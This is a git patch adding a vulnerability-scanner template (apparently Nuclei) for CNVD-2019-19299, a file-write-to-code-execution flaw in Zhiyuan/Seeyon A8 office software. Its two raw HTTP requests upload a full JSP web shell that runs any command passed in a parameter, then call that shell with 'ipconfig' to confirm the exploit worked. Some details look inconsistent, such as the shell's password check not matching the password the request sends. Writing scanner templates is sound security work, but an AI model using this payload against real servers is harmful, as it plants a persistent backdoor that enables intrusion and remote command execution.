From 113b43970f06db6e78626c1dae552af80948bfd8 Mon Sep 17 00:00:00 2001 From: Muhammad Daffa <36522826+daffainfo@users.noreply.github.com> Date: Sun, 20 Feb 2022 20:04:55 +0700 Subject: [PATCH] Create CNVD-2019-19299.yaml --- cnvd/2019/CNVD-2019-19299.yaml | 47 ++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 cnvd/2019/CNVD-2019-19299.yaml diff --git a/cnvd/2019/CNVD-2019-19299.yaml b/cnvd/2019/CNVD-2019-19299.yaml new file mode 100644 index 0000000000..6ef5fc2744 --- /dev/null +++ b/cnvd/2019/CNVD-2019-19299.yaml @@ -0,0 +1,47 @@ +id: CNVD-2019-19299 + +info: + name: Zhiyuan A8 Arbitrary File Writing to Remote Code Execution + author: daffainfo + severity: critical + reference: + - https://www.cxyzjd.com/article/guangying177/110177339 + - https://github.com/sectestt/CNVD-2019-19299 + tags: zhiyuan,cnvd,cnvd2019 + +requests: + - raw: + - | + POST /seeyon/htmlofficeservlet HTTP/1.1 + Host: {{Hostname}} + Pragma: no-cache + Cache-Control: no-cache + Upgrade-Insecure-Requests: 1 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q =0.8,application/signed-exchange;v=b3 + Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 + Connection: close + + DBSTEP V3. 0 343 0 658 DBSTEP=OKMLlKlV + OPTION=S3WYOSWLBSGr + currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 + = WUghPB3szB3Xwg66 the CREATEDATE + recordID = qLSGw4SXzLeGw4V3wUw3zUoXwid6 + originalFileId = wV66 + originalCreateDate = wUghPB3szB3Xwg66 + FILENAME = qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdb4o5nHzs + needReadFile = yRWZdAS6 + originalCreateDate IZ = 66 = = wLSGP4oEzLKAz4 + <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder ();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine( )) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString() ;} %><%if("x".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
" +excuteCmd(request.getParameter("cmd")) + "
");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce + + - | + GET /seeyon/test123456.jsp?pwd=asasd3344&cmd=ipconfig HTTP/1.1 + Host: {{Hostname}} + + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_2 == 200' + - 'contains(body_1, "htmoffice operate")' + - 'contains(body_2, "Windows IP")' + condition: and